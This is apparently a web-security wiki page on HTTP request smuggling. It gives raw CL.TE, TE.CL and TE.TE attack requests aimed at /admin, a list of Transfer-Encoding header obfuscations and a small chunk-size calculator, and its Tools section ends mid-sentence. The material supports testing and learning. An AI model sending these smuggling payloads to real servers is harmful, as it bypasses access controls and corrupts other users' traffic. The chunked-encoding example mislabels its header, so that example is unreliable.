HTTP Request Smuggling

Introduction

HTTP request smuggling is a type of web vulnerability that occurs when an attacker is able to send multiple HTTP requests to a server in a way that causes the server to process them in an unintended manner. This can lead to a number of security problems, including:

  1. Denial of Service (DoS) attacks: An attacker could use HTTP request smuggling to send a large number of requests to a server, overwhelming it and causing it to become unavailable to legitimate users.

  2. Data leakage: An attacker could use HTTP request smuggling to manipulate the way that a server processes requests, potentially allowing them to access sensitive information that would otherwise be protected.

  3. Cross-Site Scripting (XSS) attacks: An attacker could use HTTP request smuggling to inject malicious code into a server's response, potentially allowing them to execute code on the client's machine.

Most of today's web applications are composed of a front-end server (which might be a load balancer or reverse proxy) that forwards the request to a back-end server (which actually performs the request).

The requests to the back-end server are typically sent over the same connection due to its better performance. This means that every HTTP request is sent one after another, so the front-end and back-end must agree on the boundaries between requests.

There are two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.

The Content-Length header specifies the number of bytes that compose the message body:

POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

user=test&password=1234

The Transfer-Encoding header species that the message body is going to be sent in a series of chunks rather than a single message. Each chunk is composed of the chunk size in bytes (expressed in hexadecimal), a new line, the content of the chunk, and a new line terminating in zero.

POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

17
user=test&password=1234
0

HTTP smuggling attacks

The following attacks are only valid for HTTP/1.1, if your target website used HTTP/2, then read about how to exploit it in this link.

CL.TE.

The front-end (FE) uses the Content-Length header, and the back-end server uses the Transfer-Encoding header.

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: x

TE.CL.

The front-end server uses the Transfer-Encoding header, and the back-end server uses the Content-Length header.

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Because counting the characters on a chunk and then passing the number to hex is a pity, you can use the following chunk calculator by Takito.

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>Chunk Calculator</title>
    <style>body {font-family: sans-serif;}</style>
</head>

<body>
    <h1>Chunk Calculator</h1>
    <h2>By: <a href='https://twitter.com/takito1812'>Takito</a></h2>
    <textarea rows="10" cols="50" name="chunk" onkeyup="calc()" autofocus>
</textarea>
    <p>The chunk size is <strong id="size"></strong></p>
    <pre id="explanation"></pre>
    <script>
        function calc() {
            var chunk = document.getElementsByName("chunk")[0].value;
            var lines = chunk.split("\n");
            var linesLength = lines.length;
            var chars = 0;
            var explanation = document.getElementById("explanation");
            explanation.innerHTML = "";
            for (var i = 0; i < linesLength; i++) {
                var line = lines[i];
                var lineLength = line.length;
                chars += lineLength;
                if (i < linesLength - 1) {
                    chars += 2;
                    explanation.innerHTML += line + " -> " + lineLength + " + 2 (\\r\\n) = " + (lineLength + 2) + " chars<br>";
                } else {
                    explanation.innerHTML += line + " -> " + lineLength + " chars<br>";
                }
            }
            document.getElementById("size").innerHTML = chars.toString(16) + " hex (" + chars + " chars)";
        }
    </script>
</body>

</html>

TE.TE.

The front-end and back-end servers both support the Transfer-Encoding header. To avoid one of the servers processing the header, it is required to obfuscate the header in some way.

Here there is a list of obfuscation examples:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:<tab>chunked

 Transfer-Encoding: chunked

X: X%0aTransfer-Encoding: chunked

Transfer-Encoding
: chunked

This example comes from the issue "Multiple Transfer-Encoding headers misinterprets request payload" from hyper.

POST / HTTP/1.1
Host: example
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Tools

Because it is quite hard to test every type of HTTP smuggling on every website you need to audit, you can use the Burp Suite Extension HTTP Request Smuggler. Right-click on the request, then Extensions/HTTP Request Smuggler, and select the type of scan you want to la

References

Last updated